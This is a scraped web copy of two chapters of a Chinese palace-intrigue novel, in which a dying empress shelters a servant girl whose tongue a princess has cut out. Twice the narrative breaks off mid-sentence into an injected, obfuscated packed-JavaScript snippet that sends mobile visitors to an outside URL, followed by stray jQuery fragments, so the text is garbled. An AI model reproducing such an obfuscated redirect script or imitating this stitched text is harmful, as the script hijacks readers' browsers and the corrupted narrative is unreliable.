《拥归鸾》 3. 惊梦（二） 漱玉阁中纱幔低垂，鎏金十二连枝灯日夜长明。碎光穿过水晶帘，伴着袅袅香雾，在凤榻周围萦绕不休。 阁中温暖如春，梦里却霜气凛冽，血意纵横。皇后沉沉地喘了口气，挣扎着掀起眼皮，茫然地瞪着帐顶浮动的光晕。 看护宫人喜道：“殿下醒了？” 她握了握掌中断钗，吃力地转过头，端详半晌，像是才回过神来，喃喃道:“眼睛都熬红了，下去歇息吧！” 其声如游丝，带着久病之人特有的虚浮。 “多谢殿□□恤！”小宫人鼻子发酸，敛衽一礼，缓步退出。 皇后从她眼底读出一丝怜悯，心头像被扎了一下，闷闷地翻了个身，阖目静听铜漏滴答。 帘外环佩铿锵，徐尚宫迈着沉稳的步伐行至榻前，躬身禀道：“殿下，贵妃听闻您昨夜发病，特来探望。” 皇后沉吟良久，耐着性子道：“就说本宫才睡下，让她回去吧。” “圣人一早过来，您就推脱着不见，让他好生失望。贵妃好歹见一见吧，毕竟自家姊妹。”尚宫好言相劝道。 皇后眸色一冷，语声尖锐道：“不牢他们记挂，别来扰我清净，便是天大慈悲了。” 徐尚宫悄悄撇了撇嘴，苦笑着道：“您别动怒，妾身出去应付。” 良久之后进来，见皇后已经起身，正斜倚着黄地团花纹锦隐囊发呆。如云乌发披落两边，衬得一张脸孔愈发瘦小，皮肤白得瘆人。 身为故人，哪怕不曾有过深交，可想到她少时模样，也难免唏嘘。徐尚宫定了定神，上前堆笑道：“贵妃向来好性子，倒也没说什么，只叮嘱妾身好生侍候，说有什么需要，尽管让人去找她。” 皇后听得直皱眉，冷眼瞟着她，语出讥诮：“贵妃诸般好，你如何不跟了她去？” 徐尚宫霎时无语，讪讪低下头去。 皇后掉转钗头，用断口在榻沿划拉了一下，裂帛之声听得她心里一紧。 “尚宫，掌导引皇后及闺合廪赐。本宫在世一日，纵使你想投奔，她碍于贤名，也不敢越礼吧？”皇后喘了口气，表情有些狰狞。她的唇色和肤色一样白，眸色和发色一样黑。冷笑的时候，眼里似有两簇幽深鬼火，令人莫敢逼视。 她本就不得人心，被沉疴痼疾折磨多年，性情愈发乖戾。就连自诩心慈面软的徐尚宫，如今见到她也发怵。 “可你们也看得出来，”皇后话锋一转，恹恹地躺了回去，语调难辨悲喜，“我没几天活头了，都去自拣高枝吧，别等我死了再后悔跑晚了。”说完这些，她便闭目小憩，像是用尽了气力。 徐尚宫一时语塞，像被人啐了一脸，面皮一阵紧似一阵，默默站了会儿，只得硬着头皮告退。 皇后歇了半晌，总算缓过神来，抬手敲响床头床头玉罄，询问昨夜不速之客的情况。 “托您的福，捡回来一条命。”值守宫人轻声道：“亏得太医也在，不然怕是凶多吉少。” 皇后睁开眼睛，饶有兴趣道：“多少年了，她还是第一个闯入的外人……” 顿了顿，神色有些怅然，苦笑道：“以前纵然有，本宫也记不得了。”说罢握拳捶头。 值守宫人慌忙扑过去，轻轻捉住她细伶伶的腕骨，小心禀道：“司言命人将她移到了偏殿，说是如此一来，方便太医看诊。殿下若想知道情况，不如召司言询问。” 她就快死了，中宫上下心知肚明。 可天子把她视若心肝，大家自也不敢怠慢，就算名义上的皇后，那也忤逆不得。 她突发奇想要收留别宫罪奴，众人便照做。她昏迷中念叨，众人便将其挪到偏殿，哪怕明知于礼不合。 皇后果真安静下来。 昨夜发病之时，汗湿重衣呼吸困难，痛楚从心口蔓延至半边身体，就连左手指尖都疼到麻木。 快要支撑不住时，却听有人禀报尚宫，说有个遍体鳞伤的小宫女逃到中宫求救。不知道是不是注意力突然转移，病况竟慢慢好转，连太医都觉得意外。 而皇后则将小宫女视作贵人，执意要留下，并命人去找太医救治。 “我想去瞧瞧……”她说着费力地撑起身。 宫人吓坏了，唯恐当值期间出事，慌忙恳求道：“您身子虚弱，不宜走动，太医也再三叮嘱要静养……”见她神色坚毅，似已下定决心，便不敢再劝，踌躇道：“事关重大，婢子不敢擅自做主，得先去请示尚宫。” 皇后神色骤变，森然道：“我是皇后，还是阶下囚？” 宫人大气也不敢出，拜伏在地颤声道：“谨遵殿下吩咐。” ** 病榻设在鎏金银犀座大屏风后，高床软枕，香衾绣被，对阿柰而言犹如仙境。 不知睡了多久，恍惚中似有响动，依稀看到绣幔高挂，榻前之人皆垂手屏气。一个枯梅瘦鹤般的飘逸身影，在侍从搀扶下，穿过两列枝灯冉冉走来。 她忽而悲从中来 —— 终究还是死了？这些都是天上的神女仙娥吧？ 可她不甘心，窝满眼角的泪缓缓淌过脸颊，流经伤口时蛰得她轻轻一颤，这才明白应该还在人间，因为鬼魂肯定不会痛。 “殿下，不可再靠近。”掌药女官挡住皇后，面有难色道：“这孩子伤口太腌臜，恐污了您的眼。” 皇后徐徐抬袖：“无妨。” 掌药犹豫着退开，背后的手悄悄拨乱了阿柰的头发。 皇后才近前两步，便被浓郁的药味呛出了眼泪。 司言忙拿出帕子，轻轻替她揩去。 皇后看到青绫衾下蜷着的小身影，心脏像被一只无形巨手攥住，好在很快便缓了过来。 侍从来不及阻止，她已抬手拨开了阿柰覆面的乱发。 映入眼帘的并非想象中的稚嫩脸孔，而是紫红斑驳的灼伤，虽敷了药膏，却仍触目惊心。 皇后像是被烫到了，倏地收回手，死命按住胸膛，喉间发出含混的呜咽。 司言扶住她发颤的身躯，柔声道：“这孩子瘦的皮包骨头，也不知吃了多少苦，能有一口气就不错了，您别担心，太医说她求生意志很强。” 皇后眼底有些潮湿，感慨道：“她若早来一个时辰，都未必能进得了门。” 蓬莱宫是禁地，除了天子与贵妃，平日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875135|176267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从不接纳外人，何况深更半夜？若是平常，怕是只能冻死在宫墙下。 皇后接过司言手中的帕子，牵起广袖，俯身擦拭阿柰眼角的湿痕。冷不防对上一双黑白分明的眼瞳，她心底莫名一慌，帕子如云朵般缓缓罩落。 “醒了……”她转头望向司言，惊喜交加道：“你们快瞧！” 阿柰忍痛爬起身，茫然地环顾周围。 皇后见她身量未成，脸容损毁不堪，红肿的双手疤痕遍布，连腕上也层层包裹，心头涌起无限怜悯，柔声道：“你叫什名字？几岁了？” 阿柰张了张嘴，喉咙里只发出含混的气音。 皇后轻抚她枯涩的乱发，安慰道：“别怕，这里是蓬莱宫，纵使圣人亲自，也不能耐你何。” 阿柰耳畔嗡嗡作响，混沌中似有琴音流转，在水流中载浮载沉。 她费力地辨出了那句话语，想要回答却发不出声，鬼使神差般朝她张开了嘴…… 皇后浑身一僵，断钗几乎攥进皮肉。 记忆深处无数声音在喧嚣，鼓槌般隆隆敲击着颅脑。她全身脱力，眼前蔓开无边黑暗，瞬间吞没了意识…… ** 皇后睁开眼时，正置身榻上，罗衣香暖，银烛画屏。 她心神恍惚，一时分不清是梦是醒。 正欲起身敲磬唤人，却疼得吸了口气，探手去摸，触到厚厚的棉纱，还有黏糊的血迹。 她满头雾水，不记得何时划伤了腿根。而床头最趁手的玉磬连同紫檀木座都不翼而飞。 她苦恼地揉了揉头，并在这时外边脚步窸窣，她无端紧张起来。 进来的是两名婢女，皆梳鬟髻，缟衣素袂，对她视若无睹，只沉默着剪烛添香，换水加炭。 她歪头打量她们，想张口却欲言又止。这场景好生熟悉，像是见过千百次。 望着婢女们忙碌的身影，她惊觉这里并非漱玉阁。 香雾在榻前萦绕，丝丝缕缕，侵入肺腑。 婢女们忙完后，便默默退下，阁中只剩烛火噼啪，细弱却清晰。 她起身下榻，罗袜踩在厚实的绣毯上，有种说不出的奇妙。 广袖及地，淹没了指尖。 她徐徐抬起手腕，将袍袖堆到肘间，失神地盯着空空的掌心。 “这里有两件旧物，一件是令郎从前的玩具，一件是你未出阁时佩戴的首饰。” 耳畔响起一道低沉温厚的声音，熟稔亲切到让她心痛。 什么玩具？什么首饰？为何掌中空空如也？恐惧如山般压了下来，她双腿一软往前扑去。 眼前晃过一片柔和沉郁的赭黄，她惊醒过来，发现自己倚在谁的臂弯里。 “醒来就好，你方才魇住了。”关切的话语响起时，梦中的声音再次清晰起来。她浑身发抖，摸索着寻找什么。 “在这里。”一只宽厚的手掌握住了她，将那半截断钗塞到了她潮湿的手心。 她像抓住救命稻草般紧紧攥着，将脸埋在袖中，带着哭腔道：“你又来作甚？” 那人怔了一下，语气哀伤入骨道：“你知道自己在跟谁说话吗？” 4. 惊梦（三） 皇后仍在虚实之间浮沉，意识像浸泡在水中的绒毯，用尽全力也拽不起来。她强忍不适抬起头，却对上一张陌生脸孔。 她登时惊出一身冷汗，本能地拼命挣扎。 尖叫声引来帘外宫人，见天子眉骨上有血痕，俱都心惊胆战，忙涌上前摁她手脚。 天子以帕按住伤痕，一叠声叮嘱：“仔细点，可别伤了她。” 她看似病骨支离，弱不禁风，却有着惊人的爆发力。 五名宫人合力才制住，一个被扯散了发髻，一个被抓破了手背，更有一个外衫几乎撕裂。 她自己也倦极，瘫在榻上气息咻咻。 天子想上前查看，被女官抬手拦住，“殿下此刻情绪不稳，圣人莫要刺激她，还是晚些时候再过来。” 天子颇为丧气，垂首道：“等她平静下来，立刻去紫宸殿通报。”宫人齐齐应诺。 落地罩外，贵妃盛装华服，正垂手恭候。 不同于皇后的瘦峭冷锐，贵妃生的丰腴莹洁，珠圆玉润，饱满的鹅蛋脸上眉拂远山，眸如凤羽。 两人性情也完全相反，贵妃温婉和蔼，观之可亲。待人接物更是周到妥帖，阖宫上下无不称颂。 天子乍一看见她，略有些尴尬，随即举帕做擦拭汗状。 贵妃瞥见他掩耳盗铃的行径，不禁莞尔一笑，从容上前参拜，压低嗓音道：“阿姊如何了？” 天子朝她摆摆手，贵妃会意，随他出了寝阁，在前殿落座。 尚宫领着一堆宫人过来请罪，见天子闷头不语，贵妃便打破沉寂，扫视着众人道：“皇后好端端的，怎么会晕倒？” 众人噤若寒蝉，低首不语。 贵妃纤指点向一边的司言，“皇后既以你为喉舌，那你来说。” 皇后与贵妃同出薛氏，又是至亲姊妹。 按理说不该有隔阂，可谁都看得出来，她们之间的关系极其微妙。 皇后蛰伏十年，突然出手干预宫务，行为着实可疑。司言唯恐沦为她们姊妹争斗的牺牲品，思忖再三，决定先行遮掩。 “殿下午睡起来，说精神尚好，非要下地走动，妾等劝不住，只得……只得由着她……没想到……才走到偏殿，便……体力不支晕了过去。” 贵妃面泛狐疑，“偏殿冷冷清清，她去那边作甚？” 众人闻言，俱都捏了把冷汗，怕她突然动念，要过去查看。 “真是胡闹，”关键时刻，天忽然出声，皱眉道：“尔等近身侍候快两年，难道不知皇后体弱气虚宜静养？” 天子爱屋及乌，对蓬莱宫向来亲厚，语气虽严肃，却明摆着给台阶。 尚宫率先跪下请罪，其他人也都明白过来，齐齐效仿。 不等贵妃发话，天子便摆手道：“还不退下反省？” 打发走此间宫人，天子长叹一声，颓然往后靠去。 贵妃侧过头，静静地端详着他。论起天家威仪和帝王气势，他远不及父兄。 他没做过万人瞩目的储君，也不具备掌控一切的手段。 金銮殿是个大舞台，宦官、朝臣和藩镇都想将天子变成任由己方操纵的悬丝木偶。他疲于奔命，殚精竭虑，只能勉力压制。 年少时也曾豪气干云，想要恢复祖上荣光，想要铲除奸宦，想要削弱藩镇，想要重整吏治…… 可他们都不再年轻了，贵妃不自觉叹了口气，幽幽道：“阿姊这边有我照拂，圣人难道还不放心？您近日气色很差，政务又繁忙，何必来回折腾？” 确如她所言，天子脸色苍白，眼窝微凹，眉目之间光采隐去，只剩疲惫和隐忧。 饶是憔悴如斯，仍难掩儒雅高华之气。可能正因为这样，才会有文臣对他一直心怀期许。 “成碧，你别多心。”天子转过来，语气温柔道：“你是朕最忠诚的盟友，朕一向都无比信任。”说着垂下眸子，蹙眉道：“只是她如今这情况，着实让朕忧心。” 贵妃难掩失落，强笑道：“或许阿姊的药……本不该停。” “这样对她不公平，”天子一脸神伤，哀声道：“以她的性格，绝对不愿浑浑噩噩一世。” 贵妃心底涌过一阵快意，强忍着笑道：“无论如何，也好过疯疯癫癫。” 天子呼吸一窒，近乎惊恐地望了过来。贵妃愧疚不已，慌忙道：“妾身失言，还望圣人恕罪。” ** 因着阿柰的缘故，刘医师成了蓬莱宫指定御医。 每日给皇后请过脉，便自发去偏殿为阿柰换药。 饶是行医多年，见惯病患，还是被阿柰旺盛的生命力折服。惊叹于她被摧残成那样，却能恢复地如此之快。 “今年几岁了？”包扎手腕时，刘医师漫不经心地问。 阿柰张了张嘴，见照顾她的两名宫人都满眼鼓励，不忍令她们失望，便努力忽略创口的痛感，挣扎着开口道：“十……三了。” 尽管发音含糊，大家还是听清了，不由为她拍手叫好。 阿柰羞赧地垂下头，脸上泛起的红晕几乎盖过冻疮。 “您常在宫中行走，可有听到……”年长的宫人朝珠镜殿方向努了努嘴，小声道：“那边有什么风声？” 刘医师缠好棉纱，轻飘飘道：“也没什么大事，隐约听闻，有人被扎瞎了两只眼。” 阿柰微微一颤，额上沁出冷汗，不可思议地望向了刘医师。 那夜她被拖行良久，腕上绳索磨损不堪，她悄悄挣脱后，掰了一枚冰棱握在掌中，趁着踹她的那个人不备，瞅准他的眼睛猛地扎了进去。不过是冒险偷袭，她又满身是伤，哪敢再来一下？ 宫人捧过银盆，刘医师若无其事地洗手，喃喃道：“贵主的性情，阖宫上下谁人不知？这孩子你们可看好了，千万别让她落单。” 阿柰心有余悸，两名宫人神色也微僵，捧水的那个干笑道：“有皇后顶着，我们怕什么？” 年龄稍小的那个托来棉帕，一脸天真道：“但愿皇后长命百岁，万寿无疆。” 刘医师接帕子的手顿了一下，神情复杂的扫过三人，终是什么也没说。 送走太医后，年纪较小的翠翘轻扯同伴手臂，纳闷道：“慧容姊姊，他什么意思？那一眼瞧的我心里直发毛。” 慧容不敢点破，强笑着摇头，“神神叨叨的，谁知道呢？” 说毕两人携手去看阿柰，她身上多是外伤，虽未见好，却能下地行走，可这会儿却如惊弓之鸟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875136|176267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，缩在屏风前瑟瑟发抖。 慧容让翠翘去刷洗杯盏，径直走到阿柰旁边，有些哭笑不得道：“手脚都冻烂了，也敢顶风冒雪往蓬莱宫跑，这份胆魄可非人人都有。如今得救了，怎么反倒害怕起来？” 阿柰搓了搓红肿的指节，低下头一声不吭。 慧容凑过去，端详着她唇角结痂的血痕，试探着问道：“她为何要割你的舌头？” 阿柰眼前晃过公主手持剪刀，狞笑着走来的情景，不由打了个冷颤，慌忙抬手捂住了耳朵。 可剪破血肉的声音却仍在耳畔回响，嘴里又泛起冰冷的铁锈味。她踉跄着起身，抱住痰盂干呕了半晌，直到眼泪模糊了视线。 慧容有些过意不去，亲自打水过来帮她擦洗。 阿柰生来便是宫奴，从小便学着伺候人，被人侍候便有些手足无措。 慧容安慰道：“放松些，皇后很看重你，兴许将来会有新际遇。” 阿柰抬起头，眸中满是讶异。 她的半边脸算是毁了，就连额头上也有陈年烙印，另外半边脸因为冻疮更是毫无美感，只有这双黑湛湛的眼瞳清亮如水，泛着深宫罕见的鲜活生机。 “你睡着的时候，皇后常来探看。”慧容神色复杂道：“要知道，她对圣人都没这么上心过。” 阿柰受宠若惊，眼中泛起泪意，如空濛秋水，看得慧容愣了一下。 “对了，你叫什么名字？”她好奇问道，也没指望得到回复。 阿柰恍惚想起，初见皇后时，她也这样问过，可惜当时断舌处疼得厉害，根本说不出话。 “素柰。”她轻声道。 慧容没听清，歪头道：“什么？” 她又说了一遍，“素”字发音依旧不标准，便取了些冷灰，在手掌上写了下来。 慧容像是突然明白了什么，发出一声惊呼，引得翠翘也看了过来。 “难怪公主会折磨她，我总算明白了。”她一拍大腿，兴奋道。 阿柰一脸困惑，不知她从名字上能看出什么。翠翘则放下手中活计，跑过来追问道：“为什么？快说快说……” 慧容压低声音，小心翼翼道：“公主小字朱樱。古人诗赋里有句话，朱樱春熟，素柰夏成。公主是谁呀？眼睛长在头顶的。怎会容忍宫女的名字和自己并列？” 阿柰一头雾水，她是掖庭低等宫役养大的，住所的墙外有几棵果树，她出生时正值白柰花开似雪，便取了这个名字应景。 公主金尊玉贵，她的名讳外人那得知？就算知道，底层宫役难道人人都读过那篇诗赋？ 翠翘瞪大了眼睛，有些替阿柰抱不平，“又不是重名，至于那般大张旗鼓？她若不喜欢，另赐一个名字就是，哪能这般……” 见慧容朝她使眼色，这才堪堪闭嘴，唯恐隔墙有耳。 “素柰这个名字，从今也改了吧！”慧容转向阿柰，语重心长道。 阿柰不解，慧容半掩住嘴，凑过来耳语道：“皇后闺名中有个素，可别犯讳了。” “好。”阿柰不假思索地点头，从这一刻起，她便将名字里的“素”摘去了，此后别人问起，都自称阿柰。可她却也很惆怅，像是刚得到什么，便永远失去了。